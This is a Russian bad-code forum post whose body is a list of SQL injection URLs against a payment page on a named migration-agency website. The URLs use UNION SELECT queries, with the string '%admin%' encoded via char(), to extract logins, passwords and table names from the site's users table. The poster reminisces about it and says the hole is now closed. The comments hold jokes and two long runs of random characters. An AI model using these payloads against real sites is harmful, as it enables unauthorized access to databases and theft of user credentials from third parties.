mysql_real_escape_string / Говнокод #6638 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13  --

http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13  --

http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users  limit 1),3,(select login from sydney_users limit 1),5,6,7,8,9,10,11,12,13  --

http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(show tables),3,4,5,6,7,8,9,10,11,12,13  --

http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like "adm" limit 1),3,4,5,6,7,8,9,10,11,12,13  --


http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13  --

http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13  --

http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37)))limit 1),5,6,7,8,9,10,11,12,13  --

Собственно говоря вспомнил лихие времена.
Говнокод имел место быть в пхп. Дыра ныне закрыта (не без моей помощи).

Запостил: ursus ursus, (Updated )

Комментарии (7) RSS

  • ava telnet # Ссылка на оригинал 0

    Хотел написать "Мой-первый-лом-тред, гоу!", но на ум пришло сакраментальное: "Не палимся, telnet!"
    Ответить

  • ava bugmenot # Ссылка на оригинал 0

    закрытые дыры не доставляют
    а о дегенеративности жителей австралии даже мичманы знают
    Ответить

  • ava eth0 # Ссылка на оригинал 0

    Урсус, пока у тебя не удаётся повторить прошлый слив. Старайся ещё.
    Ответить

  • ava dwinner # Ссылка на оригинал 0

    Блин, этот SQL-injection такой баян, ну кудахт-куда ж?!
    Ответить

  • ava guest # 0

    ТPDZBXFCCNCEESPOYRNBGVQQQEJSFIKEKJLGXBPBTNEYBUVCSYEXIWPHGFJVIJMLFLBFTYLNFPOWNBWHLWMBWIMUOKZKNEJCIXKRRKRNVKOSIGHMCYEMVEOKPJCLGVXALJLIHBDPBPSYCTPXCIEULZXJJFKSZPLWBQXHRALMFBWCMSZRZEXPXYQCWYDGATPAAABKLBZVMVGMHOOUJGSQVHVAEUYYALZPZJGKREGUJZQOCHOKBQLJABJISFFUSPHTFZOCEFGVXLUOKVBCTXVDAGDGATLJSJFLMXJVWRLOGLIDNSUEJURRHSTWIJVAPZBFPNWGYDAHFYMSQXGFXASLVHLMTFYFKXEAJYYABZGNUTTGNXLSLIZBJZGLMISACXVISGXNHIKDGYPXZDSOKKZBUOVDEQSBSRDHZXWAEOMBMDQDNVYSWWQEITKUWOPFEEONKRAIYPISLYKMRJBEBYYIQPCLPCJULULAMVCJKQMMRIMRWEXYFMRTFZITTHNBMNFDYUMUPRFSLLRQDLEDIDH
    Ответить

  • ava guest # 0

    рF)Z"Y!Q E!K$U,V(SR,U$F?J$Y(X)C"C?J"S:J!G$R$F,Y$H$S:B!U(V.D$M?O U$U(YR(N,G:A.N:G?X$S$U:F:W,SJ)Z,E(S"E!A"H,Q:EE.QG,J?O$C?E,O$JR"Q?R.FKY!O(X$Q$B P"W!J!N(P$F$X,X.A)A.X?P!R(U,I:W$R?Z!T)L!Y,H"W KKY:P!Z N,H?O"P!R?Z)H,MU)Z"D$Q,Q"H O L)N"F(K?R.J,G"BRX!P?B,Q?X"E,WB(Q.J:H,U,B:J(G$D!G.ARX"R?X"B$C:R,I,J H(ULN"T$G.H.Y!I,H!H:O.A:D(U)D.I A"I,Z(W!Z!S C"Q"F?BL(G L,Z)G.DD.X"Y?W O$M$L"V,D$E?W:J$Y:C"N,J!B,X$G!F:T!D:B(Q$BQ$V$T(E?J B?L(X,H!T(G:L$P P"T,FQ?Z)Y,Q,N(C)J(C"TS(J(D.D"G$L"T?K!KR,B)V)R)C:V)Z:E:R:B"NU!I"JA?M$D(I)QC)W)C!R F X U!K.I?I R.X?V"P(IB:T$O:V:A$OS)E!W,NT!F:G)O:Q?C)O$HQ,C"Q$P)T?L.N"F!O M$K$T$I?Z!U E)T?I?A.O"V:U I(D(W$WV:X.Y)D!L!P$P)U?Q"E N?F)U.L Q)Q,Y(L$Z"U.O!Z,Z)O,C"C"D?N?F!P!F"N!Q.T!R)W)YY$Z(E)F.Z!X(N V"M,C$M!S"E)Q!S:T)R)A!S$H"K!E$Z.F JH,M!P,J.K YI)UK)T$A:Q.Z)A$X?D:Y,Y:P E I"B$I Y!D?Z$T!K,S(J)B J!U:U)P:P(Z$X?R!U?D!W,W"AU$N!P:R"I,S"A:D)V.G(R,S,I.V?N$Q.G$D:F.PZ K,H)J:IV(I.DX C$B(G$E?P)Y,L(G$X$Z.V,A JM(N.Y:B,BU"C$X"H)F R!C!G(W.D?M"B(R$GC:QP(G T!W"H"D,B$XЕRFXPWKKLWQOLFVKLJMMDNXVETHUKFLYAQWXSKLILHQVQLCRBIARDGZBCHPLKKRZCUOXQEPQRIQLJGQVHGPDMRGIJKUPIXVSQBVEPQAKFBOWHJNOPEOLJUPZIZPUMPYTTPDQXUVYCVFINVMRUELPHEIHBANVTDLCAZVFPGVVDPZDDRKYLPSYSERIJEWIWZUGPSLJOGMDOKQTDQURLJOFUIRUQWGDXRLMSZKMTBZCFCDCWZZUZKUDUGAEQ
    Ответить

Добавить комментарий

Из-за тебя ушел bormand, guest!

    А не использовать ли нам bbcode?

    ↑
    8
    ↓